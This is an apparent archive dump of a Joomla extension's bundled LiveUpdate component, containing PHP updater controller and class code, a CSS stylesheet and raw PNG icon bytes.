				$sections[] = trim(substr($tmp[0], 1));
				$i++;
				continue;
			}

			// Key-value pair
			list($key, $value) = explode('=', $line, 2);
			$key = trim($key);
			$value = trim($value);
			if (strstr($value, ";")) {
				$tmp = explode(';', $value);
				if (count($tmp) == 2) {
					if ((($value{0} != '"') && ($value{0} != "'")) ||
					preg_match('/^".*"\s*;/', $value) || preg_match('/^".*;[^"]*$/', $value) ||
					preg_match("/^'.*'\\s*;/", $value) || preg_match("/^'.*;[^']*$/", $value) ){
						$value = $tmp[0];
					}
				} else {
					if ($value{0} == '"') {
						$value = preg_replace('/^"(.*)".*/', '$1', $value);
					} elseif ($value{0} == "'") {
						$value = preg_replace("/^'(.*)'.*/", '$1', $value);
					} else {
						$value = $tmp[0];
					}
				}
			}
			$value = trim($value);
			$value = trim($value, "'\"");

			if ($i == 0) {
				if (substr($line, -1, 2) == '[]') {
					$globals[$key][] = $value;
				} else {
					$globals[$key] = $value;
				}
			} else {
				if (substr($line, -1, 2) == '[]') {
					$values[$i-1][$key][] = $value;
				} else {
					$values[$i-1][$key] = $value;
				}
			}
		}

		for($j = 0; $j < $i; $j++) {
			if ($process_sections === true) {
				if( isset($sections[$j]) && isset($values[$j]) )	$result[$sections[$j]] = $values[$j];
			} else {
				if( isset($values[$j]) ) $result[] = $values[$j];
			}
		}

		return $result + $globals;
	}
}
com_icagenda/liveupdate/classes/controller.php000060400000016345152455305300015637 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5 - 2.2.1
 * @copyright Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * @version     3.1.7 2013-08-28
 * @since       1.2.6
 */

defined('_JEXEC') or die();

JLoader::import('joomla.application.component.controller');

if(!class_exists('JoomlaCompatController')) {
	if(interface_exists('JController')) {
		abstract class JoomlaCompatController extends JControllerLegacy {}
	} else {
		class JoomlaCompatController extends JController {}
	}
}

/**
 * The Live Update MVC controller
 */
class LiveUpdateController extends JoomlaCompatController
{
	/**
	 * Object contructor
	 * @param array $config
	 *
	 * @return LiveUpdateController
	 */
	public function __construct($config = array())
	{
		parent::__construct();

		$this->registerDefaultTask('overview');
	}

	/**
	 * Runs the overview page task
	 */
	public function overview()
	{
		$this->display();
	}

	/**
	 * Starts the update procedure. If the FTP credentials are required, it asks for them.
	 */
	public function startupdate()
	{
		$updateInfo = LiveUpdate::getUpdateInformation();
		if($updateInfo->stability != 'stable') {
			$skipNag = JRequest::getBool('skipnag', false);
			if(!$skipNag) {
				$this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=nagscreen');
				$this->redirect();
			}
		}

		$ftp = $this->setCredentialsFromRequest('ftp');
		if($ftp === true) {
			// The user needs to supply the FTP credentials
			$this->display();
		} else {
			// No FTP credentials required; proceed with the download
			$this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download');
			$this->redirect();
		}
	}

	/**
	 * Download the update package
	 */
	public function download()
	{
		$ftp = $this->setCredentialsFromRequest('ftp');
		$model = $this->getThisModel();
		$result = $model->download();
		if(!$result) {
			// Download failed
			$msg = JText::_('LIVEUPDATE_DOWNLOAD_FAILED');
			$this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error');
		} else {
			// Download successful. Let's extract the package.
			$url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=extract';
			$user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW);
			$pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW);
			if($user) {
				$url .= '&username='.urlencode($user).'&password='.urlencode($pass);
			}
			$this->setRedirect($url);
		}
		$this->redirect();
	}

	public function extract()
	{
		$ftp = $this->setCredentialsFromRequest('ftp');
		$model = $this->getThisModel();
		$result = $model->extract();
		if(!$result) {
			// Download failed
			$msg = JText::_('LIVEUPDATE_EXTRACT_FAILED');
			$this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error');
		} else {
			// Extract successful. Let's install the package.
			$url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=install';
			$user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW);
			$pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW);
			if($user) {
				$url .= '&username='.urlencode($user).'&password='.urlencode($pass);
			}

			// Do we have SRP installed yet?
			$app = JFactory::getApplication();
			$jResponse = $app->triggerEvent('onSRPEnabled');
			$status = false;
			if(!empty($jResponse)) {
				$status = false;
				foreach($jResponse as $response)
				{
					$status = $status || $response;
				}
			}

			// SRP enabled, use it
			if($status) {
				$return = $url;
				$url = $model->getSRPURL($return);
				if(!$url) {
					$url = $return;
				}
			}

			$this->setRedirect($url);
		}
		$this->redirect();
	}

	public function install()
	{
		$ftp = $this->setCredentialsFromRequest('ftp');
		$model = $this->getThisModel();
		$result = $model->install();
		if(!$result) {
			// Installation failed
			$model->cleanup();
			$this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview');
			$this->redirect();
		} else {
			// Installation successful. Show the installation message.
			$cache = JFactory::getCache('mod_menu');
			$cache->clean();

			$this->display();
		}
	}

	public function cleanup()
	{
		// Perform the cleanup
		$ftp = $this->setCredentialsFromRequest('ftp');
		$model = $this->getThisModel();
		$model->cleanup();

		// Force reload update information
		$dummy = LiveUpdate::getUpdateInformation(true);

		die('OK');
	}

	/**
	 * Displays the current view
	 * @param bool $cachable Ignored!
	 */
	public final function display($cachable = false, $urlparams = false)
	{
		$viewLayout	= JRequest::getCmd( 'layout', 'default' );

		$view = $this->getThisView();

		// Get/Create the model
		$model = $this->getThisModel();
		$view->setModel($model, true);

		// Assign the FTP credentials from the request, or return TRUE if they are required
		JLoader::import('joomla.client.helper');
		$ftp	= $this->setCredentialsFromRequest('ftp');
		$view->assignRef('ftp', $ftp);

		// Set the layout
		$view->setLayout($viewLayout);

		// Display the view
		$view->display();
	}

	public final function getThisView()
	{
		static $view = null;

		if(is_null($view))
		{
			$basePath = $this->basePath;
			$tPath = dirname(__FILE__).'/tmpl';

			require_once('view.php');
			$view = new LiveUpdateView(array('base_path'=>$basePath, 'template_path'=>$tPath));
		}

		return $view;
	}

	public final function getThisModel()
	{
		static $model = null;

		if(is_null($model))
		{
			require_once('model.php');
			$model = new LiveUpdateModel();
			$task = $this->task;

			$model->setState( 'task', $task );

			$app	= JFactory::getApplication();
			$menu	= $app->getMenu();
			if (is_object( $menu ))
			{
				$item = $menu->getActive();
				if ($item)
				{
					$params	= $menu->getParams($item->id);
					// Set Default State Data
					$model->setState( 'parameters.menu', $params );
				}
			}

		}

		return $model;
	}

	private function setCredentialsFromRequest($client)
	{
		// Determine wether FTP credentials have been passed along with the current request
		JLoader::import('joomla.client.helper');
		$user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW);
		$pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW);
		if ($user != '' && $pass != '')
		{
			// Add credentials to the session
			if (JClientHelper::setCredentials($client, $user, $pass)) {
				$return = false;
			} else {
				$return = JError::raiseWarning('SOME_ERROR_CODE', 'JClientHelper::setCredentialsFromRequest failed');
			}
		}
		else
		{
			// Just determine if the FTP input fields need to be shown
			$return = !JClientHelper::hasCredentials('ftp');
		}

		return $return;
	}
}
com_icagenda/liveupdate/index.html000060400000000165152455305300013274 0ustar00<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title></title></head><body></body></html>com_icagenda/liveupdate/liveupdate.php000060400000011762152455305300014157 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5 - 2.2.1
 * @copyright Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * One-click updater for Joomla! extensions
 * Copyright (C) 2011-2013  Nicholas K. Dionysopoulos / AkeebaBackup.com
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 * @version     3.3.3 2014-04-12
 * @since       1.2.6
 */

defined('_JEXEC') or die();

require_once dirname(__FILE__).'/classes/abstractconfig.php';
require_once dirname(__FILE__).'/config.php';

class LiveUpdate
{
	/** @var string The current version of Akeeba Live Update */
	public static $version = '1.1';

	/**
	 * Loads the translation strings -- this is an internal function, called automatically
	 */
	private static function loadLanguage()
	{
		// Load translations
		$basePath = dirname(__FILE__);
		$jlang = JFactory::getLanguage();
		$jlang->load('liveupdate', $basePath, 'en-GB', true); // Load English (British)
		$jlang->load('liveupdate', $basePath, $jlang->getDefault(), true); // Load the site's default language
		$jlang->load('liveupdate', $basePath, null, true); // Load the currently selected language
	}

	/**
	 * Handles requests to the "liveupdate" view which is used to display
	 * update information and perform the live updates
	 */
	public static function handleRequest()
	{
		// Load language strings
		self::loadLanguage();

		// Load the controller and let it run the show
		require_once dirname(__FILE__).'/classes/controller.php';
		$controller = new LiveUpdateController();
		$controller->execute(JRequest::getCmd('task','overview'));
		$controller->redirect();
	}

	/**
	 * Returns update information about your extension, based on your configuration settings
	 * @return stdClass
	 */
	public static function getUpdateInformation($force = false)
	{
		require_once dirname(__FILE__).'/classes/updatefetch.php';
		$update = new LiveUpdateFetch();
		$info = $update->getUpdateInformation($force);
		$hasUpdates = $update->hasUpdates($force);
		$info->hasUpdates = $hasUpdates;

		$config = LiveUpdateConfig::getInstance();
		$extInfo = $config->getExtensionInformation();

		$info->extInfo = (object)$extInfo;

		return $info;
	}

	public static function getIcon($config=array())
	{
		// Load language strings
		self::loadLanguage();

		// Initialize the array of button options
		$button = array();

		$defaultConfig = array(
			'option'			=> JRequest::getCmd('option',''),
			'view'				=> 'liveupdate',
			'mediaurl'			=> JURI::base().'components/'.JRequest::getCmd('option','').'/liveupdate/assets/'
		);
		$c = array_merge($defaultConfig, $config);

		$button['link'] = 'index.php?option='.$c['option'].'&view='.$c['view'];
		$button['image'] = $c['mediaurl'];

		$updateInfo = self::getUpdateInformation();
		if(!$updateInfo->supported) {
			// Unsupported
			$button['class'] = 'liveupdate-icon-notsupported';
			$button['image'] .= 'nosupport-32.png';
			$button['text'] = JText::_('LIVEUPDATE_ICON_UNSUPPORTED');
		} elseif($updateInfo->stuck) {
			// Stuck
			$button['class'] = 'liveupdate-icon-crashed';
			$button['image'] .= 'nosupport-32.png';
			$button['text'] = JText::_('LIVEUPDATE_ICON_CRASHED');
		} elseif($updateInfo->hasUpdates) {
			// Has updates
			$button['class'] = 'liveupdate-icon-updates';
			$button['image'] .= 'update-32.png';
			$button['text'] = JText::_('LIVEUPDATE_ICON_UPDATES');
		} else {
			// Already in the latest release
			$button['class'] = 'liveupdate-icon-noupdates';
			$button['image'] .= 'current-32.png';
			$button['text'] = JText::_('LIVEUPDATE_ICON_CURRENT');
		}
		if(version_compare(JVERSION, '2.5', 'ge')) {
			return '<div class="icon"><a href="'.$button['link'].'">'.
			'<div style="text-align: center;"><img src="'.$button['image'].'" alt="" width="32" height="32" border="0" align="middle" style="float: none" /></div>'.
			'<span class="'.$button['class'].'">'.$button['text'].'</span></a></div>';
		} else {
			return '<div class="icon"><a href="'.$button['link'].'">'.
			'<div><img src="'.$button['image'].'" alt="" width="32" height="32" border="0" align="middle" style="float: none" /></div>'.
			'<span class="'.$button['class'].'">'.$button['text'].'</span></a></div>';
		}
	}
}
com_icagenda/liveupdate/assets/liveupdate.css000060400000010174152455305300015456 0ustar00/**
 * @package LiveUpdate
 * @copyright Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 */
@CHARSET "UTF-8";

.icon-48-liveupdate { background-image: url(liveupdate-48.png) }

var { font-style: italic; font-weight: bold; }
p.liveupdate-url { font-family: "Lucida Sans Mono", "Courier New", Courier, monospace; }

div.liveupdate-notsupported,
div.liveupdate-stuck {
	border: thin solid #990000;
	background: #fff0f0;
	padding: 1em;
	color: #330000;
	-moz-border-radius: 10px;
	-webkit-border-radius: 10px;
	-o-border-radius: 10px;
	border-radius: 10px;
	-moz-box-shadow: 5px 5px 5px #f9f9f9;
	-webkit-box-shadow: 5px 5px 5px #f9f9f9;
	box-shadow: 5px 5px 5px #f9f9f9;
}
div.liveupdate-notsupported h3,
div.liveupdate-stuck h3 {
/*	background: transparent url("fail-24.png") top left no-repeat; */
	text-align: center;
	min-height: 24px;
	padding: 2px 0 0 28px;
	font-size: x-large;
	color: red;
	text-shadow: 1px 1px 6px #333;
}

div.liveupdate-hasupdates {
	border: thin solid #999900;
	background: #2F96B4;
	padding: 1em;
	color: #333300;
	-moz-border-radius: 10px;
	-webkit-border-radius: 10px;
	-o-border-radius: 10px;
	border-radius: 10px;
	-moz-box-shadow: 5px 5px 5px #f9f9f9;
	-webkit-box-shadow: 5px 5px 5px #f9f9f9;
	box-shadow: 5px 5px 5px #f9f9f9;
}

div.liveupdate-hasupdates h3 {
/*	background: transparent url("warn-24.png") top left no-repeat; */
	text-align: center;
	min-height: 24px;
	padding: 2px 0 12px 0;
	font-size: x-large;
	color: #fff;
	text-shadow: 1px 1px 6px #333;
}

div.liveupdate-noupdates {
	border: thin solid #009900;
	background: #51A351;
	padding: 1em;
	color: #003300;
	-moz-border-radius: 10px;
	-webkit-border-radius: 10px;
	-o-border-radius: 10px;
	border-radius: 10px;
	-moz-box-shadow: 5px 5px 5px #d4d4d4;
	-webkit-box-shadow: 5px 5px 5px #d4d4d4;
	box-shadow: 5px 5px 5px #d4d4d4;
}

div.liveupdate-noupdates h3 {
/*	background: transparent url("ok-24.png") top left no-repeat; */
	text-align: center;
	min-height: 24px;
	padding: 2px 0 12px 0;
	font-size: x-large;
	color: #fff;
	text-shadow: 1px 1px 6px #333;
}

div.liveupdate-infotable {
	width: 600px;
	margin: auto auto;
	padding: 10px;
	border: thin solid #333;
	background: #fefefe;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	-o-border-radius: 5px;
	border-radius: 5px;
}
div.liveupdate-infotable .row0 { background: #fcfcfc }
div.liveupdate-infotable .row1 { background: #f0f0f0 }
div.liveupdate-row { padding: 5px; }
span.liveupdate-label { display: inline-block; vertical-align: top; width: 160px; font-weight: bold; }
span.liveupdate-data { display: inline-block; vertical-align: top; max-width: 420px; overflow: none }

p.liveupdate-buttons { text-align: center; margin: 1em; }

p.liveupdate-error-needsauth {
	margin: 1em;
	background: #ffcccc;
	border: medium solid #ff0000;
	color: #660000;
	font-size: large;
	font-weight: bold;
	padding: 1em;
	text-align: center;
	text-shadow: 1px 1px 2px white;
	-moz-border-radius: 10px;
	-webkit-border-radius: 10px;
	-o-border-radius: 10px;
	border-radius: 10px;
	-moz-box-shadow: 5px 5px 5px #d4d4d4;
	-webkit-box-shadow: 5px 5px 5px #d4d4d4;
	box-shadow: 5px 5px 5px #d4d4d4;
}

p.liveupdate-poweredby { font-size: 8pt; color: silver; margin: 1em 0 0.5em 0 }
p.liveupdate-poweredby a { color: silver; }
div.liveupdate-ftp p { margin: 1em 2em; line-height: 140%; border: thin solid #00c; padding: 0.5em; color: #006; background-color: #f0f0ff; font-size: 12pt; text-shadow: 1px 1px 3px silver }

#nagscreen {
	margin: 1em;
	background: #BD362F;
	color: #fff;
	font-size: 14px;
	font-weight: bold;
	padding: 1em;
	text-align: center;
	text-shadow: 1px 1px 2px #333;
	-moz-border-radius: 10px;
	-webkit-border-radius: 10px;
	-o-border-radius: 10px;
	border-radius: 10px;
	-moz-box-shadow: 5px 5px 5px #d4d4d4;
	-webkit-box-shadow: 5px 5px 5px #d4d4d4;
	box-shadow: 5px 5px 5px #d4d4d4;
}
.nagversioninfo {
	font-size: 1em;
	text-align: center;
	margin: 20px 15% 30px 15%;
}
.nagtext {
	font-weight: normal;
	font-size: 1.2em;
	text-align: center;
	margin: 20px 15%;
}
.nagstability {
	font-weight: normal;
	font-size: 1em;
	text-align: left;
	margin: 10px 20%
}
com_icagenda/liveupdate/assets/fail-24.png000060400000003534152455305300014450 0ustar00�PNG


IHDR�w=�	pHYs��IDATH
mVmlS�~ι��c;q� $1��	�#F�Ơ�&Ԋ�
jGº��ǴN�U'��X;m	մ�`C�Z������ʀB)]��n�I k�hY������~�{�P*�Z�^�s�y��>�ǹ����|��N"��qh��@
)&0��\>I4��CO����a�%�J���XL�K�|FzJ���G�m-=�ֶ��
5X�Wf.��71;4tm���'.��/]�1�t����K�^b��۾�j�ݱ�����Ex�҃�&@���\�ܸ���]���_���.&���u��)o
�~pW�UuQ(��L�6L�-`�<���������p��??:[x���;$����>^�/�K�n�ή�{�k�x����v���`&��|6+X��ʺe�)T��ܼO�	tm��v���>�|�|U�>���~Y�͏}s]jU
t�+B!q�̐ǯ~�φ��e&�Y�8,L,������M-m�}�e���Ν��P��__z֤WNoܨ�Q&�NS�%zd3Q�����;ܹ�^��M}�a��
.n�J<�>��ljR�<Z�H�����A�)�
��T�o?3��Ț6�x�ǻtfZ�zcl���辵�:;U�?��0��zʭOQ>����6/�ȃ�
H"C����je�w�ܒ�k��+ғ�hj���#���dlv�q�3���؇�����I�vF�7��F13��1�ʊ%E��^63��#c�7�.��>5)Ē�6.Y{un�b�T������}6��ˈ�~\�P��3��j�Hzũ�k�#-��gο�1mˎ�~��0��#��OX-7DѨ�T��i#��%sf��ͣy����/�G��Lc��C�C�p����3ł��+�ဪ^w\G匪ֵU25>+���S���mX�S��l�ٵ�\)ϡ�+:aC�7By$3s�x�|������ӎ���-�P����mv�%�[�TQ���S����j�{�
�MljhR���|o2{�脳�
-��6�R�s"�IU�m��g��<nP$T��<Su���k���ڞ)����X��YUU>�)��քÕ�
��S��I"6b9(H��ìKYyi�YE�'�?�l�C��vӎ������l'K.dTU�Y�īw+�7
�v.�,U�H$�9#f�v��i��p�A9O4zӲ.V�����f�B���kCC�k��yD\ǭR�Ҭ��v���$|YL.*�A���)�C�D"^�t�j��X��5v�������Ft_
dr�����Ҫ�b���>�4?�L�}}g�ɱ�~�����E�����*Ր�+f�$od�N��=\M,��+�0ɻ
��[+��7��ǵ�~���R������L�}k�DY�=��������������:�Y~��k���WU��̤;�A	�4����i��xy��to�SHS�e�M�M[W�@�p�W�[bme�=+H�;����,#{���	��E�&v?^S�Bi&�qn9Pu���2B>�#=�C������)���l��ztM}cf���"=Đ�>A��>�뾔�K�k���ifi9ѠS0�C!Ţ�*�R�D�[��I�g�谬�a�V�;��[��|n�X,��?���Ϯ��[���hF����CM
���%7ř�ŕ�8�������\�8A���s��¹|����7�w� %DS��-�Ȗ{��MK�����4d�tŵ���@v��Eo���>�bp���Ҁ�͓ww D�:`5���0P�.\^��|�_.�������
���4Ʒ��$�;�G�IEND�B`�com_icagenda/liveupdate/assets/nosupport-32.png000060400000005250152455305300015602 0ustar00�PNG


IHDR  szz�	pHYs��
ZIDATX	uWkl��3��O��x�k0�P��3�ƴȩ��I("-�h�R�Vi�?H-D�!
$���!@B	Dv��)�cH(�#,ػ�玽ρ�]�|sϹ�>��B&��']-uu���fm�֭�U�o�ȱ�TA���B�O����Q��jF�4�s���߽�ƭ�������D`φ
�ݻ�W�-�|ᩧZ�L�(V��#�� II`�!���d���~uݸ�<�qaɖÇO_�5K��ޮ>
O�X{��z��q�ڊ&]o�m����*�SI6��&�
PP0�E�',�͠x�r��ϵ��D���[�>&����5MM�M�qv�O{�dJ˄"��5�7�aH��Q�8�ۭ��f���I�8Hl;r�$ ���F��>[єɴ����+��E����>.��`L�8zG:����C7�v�S_jG���]�͏�!���…/B��E�^g4�Q,f1l6aY�x?�
�?7/IB&�
&a���%}z�~4��[{{�A��g8W�/m��ݸ1mڴ�u�xv�����hT3�h����P���F�C��:D`�|
�Θ��$�ݽK��B2@@G:J�@��'�Hݑ��[��B-�9��~<fLE�$�����u�b���%�{x��
j�ͥ�H���K�t�@'��3!t���.�����0-�2���B	��g�i�}�֡�DG;U΋�ښ��
��6XR`oË�/\�kO?M����7ߤ}׮����v�Bd�%��T�s�ȷe���1�,]J����i��H�}��:���#�M��r�/rs/�\ZZ�O&U5�m��e����Q�V�؁.C�!�� t�������L�ɹ1ݼI�o���<cJ/�2�x�-J��͞<�P��%Ғ$�uK�4��!�"���UUǥR��~�XV,
�(�|9-۶�M�ـ_i)9�̡/>���c-��O��r����$�s�L�;��L����|
��b1�*��d�XO_�zE���w�
��R/�i�%�h��E&�	y�c��1����G�Q�((�ܵ�f64����_�jkM��HW"�|�C!q��tZ��D�Ӽ�_B�L"��`�i{"�sWV�mŕ/˜DAI	٦O��z�β#:&�� � z�2]~�EJ�F� � &��F\Q�+��Q������xI���N�����Q�޽4z��Ri��ق�VΛg�w&�{���d��(z�u�\I
�5̐4��N�g���[���x�p���s�r@-B_�^M��bȜL$��_0�b�	�C�g���Aj�'�N�����a�Jc���*n�@�b���di8�q���׬��ÇMPv�J�H�s6b��V:�bE��4���:`�gQ�K	�,�Z*��#�5J��E�)6,ʁ#��]K���^KB	��#�vw�	ͻs��(��cu���D����NE�|��X�T�D��Y.�Z<q<�\����:�b���(��앁.��YXsDm?���5�e��g֢��q��8�_��`4����{N�k�}�]*_TO���E���Kp�\`Pӎ�����)��a��ŧ'.:�������Iㆁ_ЎT����X��-�g[SC�ޞ!p��0�m9
(28h�[�6��}�&Q
'�LF��y�f�0���J�A�0	��f��q;FP�3��'*E��z����H��9��H��$”��	M%T�	����c��d�o7|��7���#��zFDɹ��l�ԁ��@A��d�_�cw����Gqy{z������\��)�l�	��cK�_F
��n��le�v�F�Nԋ�tZ�<���vG<UTdɗe�O�N��A~Ͽ/Sq��b(Py�(�؄�`7�|�9�X��MכV�k�&L�0�@SA�Q���o�%fGRɁ�%��~k��E�����s�z��Ӳ�瓝�2u�V���(�n�L"���i*���*����ICZ�
�_���9��n_�)P��t��WI@�]׍��+~���g#� �i,��y<��ا7Z�AcBr�q&��M�H|�u�a��0UD'�Pb>�+���{�{���Ν��kD���NFƠ�'�)�:m$��U@	��뭞.ͯY�������J�瓂=_��2ƭ��y��yב&��n�b(��{�я�w#�g���F�nb�J�7�JJ�')J�JJ�PHO��u�$d8��]�d�Æ�$l��L�&�OA	����H���k`��,���(e|��(+��H&����Z'��:&�IBb�ȹ4�p��;�����a��剿�h��Ʈ@�p��W��ĉ�}�h�_Ǎ�N��qðXlF�`<AG.�3l|�@a=n����^�Q�w}}#����/#)x��p~J&O��[�/�HEo�
�M�,x��>(N�,[Ww�P�(4���?p����
�g�Y��_kڗ���
v�����*b x	H�~mjŐ���M*و������0	nѳ�V���ۋk�A���f���@#��R^�;gmҴNX�IUU���se3�W�{��?	�3�wb9IEND�B`�com_icagenda/liveupdate/assets/warn-24.png000060400000002234152455305300014500 0ustar00�PNG


IHDR�w=�	pHYs��NIDATH
�U�kU���v�[kX����`P�M���.	�>��Pė�}RD((�m!-�
FPb� 6`c-5��M��nw�M�i�?f���f���x؝;s����s�(c��ԇ*ܾ6��l՚��,�ޓ(� v3pE�>�ː
�BF.����>T�nbש��4u��X4���a8�M`��߃R�hL�<���CP��
��
]$��>U�`���~`�卌�Ϥi�R�H�M�NF�e(�o��.9\��Ь���
X
1�=	��Vp%z��;�g��TŁ��PtCm��Q[Ϋ*���YǦg�Ug��vKƇ�,��=��s0�_���Y��6��Us��Fe��1�rKP�2K ;�Q[ɿ2�n�M3�A
�]�%X�g���hp��g���/!�j�	��A2=K�_ZU��(��jW�74��)6U4�#d��p@)'�@4lv�U�)���i+]Ś�m�4�L�@��Q�s��s���j6n�v�Z+�_�ձ�i�%����*��d`�b8�֏7g����@Y6�U���NL�5S�;*�f�#;�u[���;�-3�"96�o9�ޓ9T�a�t�����t��Q�#��I6Bﱁ�d�F�����nvy.�B���n��ͣ�f�$Z��
q.�]f YX�A8A���&�2��}S@~#�q|�E�����R�{�9����|�;z��ܸ���m 5,�U0�������Ġo�
�~�=�t�0���"��Gκs�ѿr�*!�h���"�x9��p���@�~�1��>�)�6��s�W���W?E�_t���5a�K`�K�)8އB�m:C���b���|����M�z���9����cv�>3�x��O��=G(z�~b'#�� -v���H�5�k.�jPӱ�5�Af�+o����x��	a	��>�ۋ�GY��{ǰ�\km‹i��)e?u�Ld�7}�W�<�ij���q��cX�痢K���i(tq<,��d�,J�ޅ��E�|�
����0R�H�����l
��]|��ĵf�����A͚���q������
�Y�ڛ�!�IEND�B`�com_icagenda/liveupdate/assets/liveupdate-48.png000060400000011536152455305300015706 0ustar00�PNG


IHDR00W��	pHYs��IDATh�Z	p\ř���1����}K6���Ɩ���m"A�.��%���d�@��@�%�Y6��V�Eq�2+�����!˧�oɺl3:�~G����1�1�ð=��͌��}�W����̨B���I,k�3�ݧ��敃�Np.T�Z$�\L�:('�1����L�����TW\�o?����T��xf�Z�����8_�W}�A����
�����/�\����zVۉc�Ku���J�����d!Q.�*��p<�
z�H�&��o��g�+�|�~�����"@�		��zn��'���V�{|�q�iB4���25�"���$ ���n�L�u`�T�=A)<A�=�s/����$�H����s?o�M�%r[kŝN��O��HKh02�F�P�RER�,� IHTJ�EA<\�0M4]��T:�d��Q3O���-M�-��"�i��d��I�(4�TiC�!�~���T�s	��?[i@]�j�RI�s.�s-G͏E��R��
Ъ��M���($4|���- �D�	��!�� �Db�D",���P�\Z0>�?��ڦ{��<5�z�zt�QM����ʙ�/=W�������'��l���t������ZP�,��	�0�v�3��c~�N�E\�R&gx_�'If�bE��pQ#
\�T�m8�l�)Pqݍ�c7�B��wy
��XQ�-��W9%�??����������,��"J��>��P�;$7u���f�8GiJDJ^�v6�1������"jwةAH�IHĒ�Y�NIr���=���bf�ka�v-�M��g��n&�������%�/]4w4�����$Z����L�q�s�l*i�d�O�A��rnL����|/S�G���L��Q�����dy����dr�d:h��h��^�{ẄK�x�X�>Pr�kUj��:�.9ʼO��t��x��K���T{�l�H� ���|�-+���6�h�~&9�ڲ�É:czN�++��o#<
y�؃��}^�1�4np��'u�C� �HB��kJ�r?h��T��������J�H�r�[�ܲ�T��6�"g�
��N��Q��a���	��-�j^���)�?�
�~-ȉdJ���
�
<#�@��[��|�
�VU��I�I�/�T�s���G{���6Dn�[2`�����ף��Cv����[/R9ԗף�}b������?\�=%x6�9nB����p���S�E<:
�B})���:��>�O��,���]\&/�~a�\°~5k�P��U�,��YC�-�ίzW�Od�w{)���F��*�/.��Hǿw<���֋�fT����Ⲣ����m�a����3ch|
zg�r������\����!~̀�y��$7%F�lw.ާ���_Xz��� ;R��HV�_	`��e�Q�
��>�pW��LnZ\S�m�c��=ONv3��KeY�����g�op��0	)��/)�1�K�q�V��նΩN���I��n�� R!p&�`�3��S�J�H]b�c��%�P�/^��"ֈ��ӑ���� �����!/7V�Z����g �F����nq&��J2w�;�H$�d�:g>����1i��,07��w}[^�����a��'�lM�%ߪj�����˾?7t�+f�d�dTI�2E^(T�B��ͳ����s�&)!2����G~��(ږ%}#�\��g#��B�Qp�n3�8Gn�w��_?�0��I|M𣹞?��(g,x��t�o
-�1���w��P!�Wk&�yY����)�G�gosP�����Hb��!�	X�Y��:
�@���)>��9t�詿������Xꡍ�/=��im�&�c��;�%��!���7����mo��T�Dt_!XFX��XZd���M���A@Bfp\��Ѹ�����B�����/��'�n�|+T��阛c���1`��+�{��WO���$�]Y��TB��<����M��e�H�<���=���Z�G\���J
!aSe+�$aԿ���0�x����gY뭦�]gS�
=E�e`����=�E��j	0��+y�����U�|�w� �i.L��+�6�C�BH
T�f(%�a��3x�-T�Z�?��`�fGعj]�?̟z��˺ǃ��'s�CBiЀ76�M,7�:T��`���Vbn�
�մ�k�L
B��*R�й���$�m����Pӌ��3�f������f�IS�O�IF��o�ۼ)�
3
��~����­�,��!�lkCCqe���L]x��¢8x�m��Y@l��C^u�!qh���Ԉɿ�q������[Fhu}݀��|�O�Β]dgC�>[h|�Lzb���[��پ���y�{���������~Е�,$�֪XS�*X/|�
60^^wq:�YD��:���,<���Xlњ���f�_�,�y�����Y��~�IqAnCJQ�,�k.D���|/���-�����_���u�e��s3�U%k�~xd{8K������C���!~G=yx�0bK=���zLK���Z����/%ˎ�]��.�5t�u�ɦ��*Há�!�_�Į
wTx|�d��
�S���l�۲h�K���N���C�M&6��p�g7\K�+�x��Uw޿�G��葖	�[�Cg_FUP%�bd����� ��C�&��9>�c��H�)���SG�t[�i�*U��G�<��3���o�����Ykz{�C�{ޕUiSr��@M8Cfxe��7I��/���� 	9���ۄ��Ġ("+&O������͡C���[P�q�#҄�$	#0�A����ն��m
���x����d�]�sf�x����s��M��D?X�f�A(�U��L��c]���&��I����Z�^�O��K�R�++Ww�׆�wmw���׶�o�izS�ك���J���CjG*
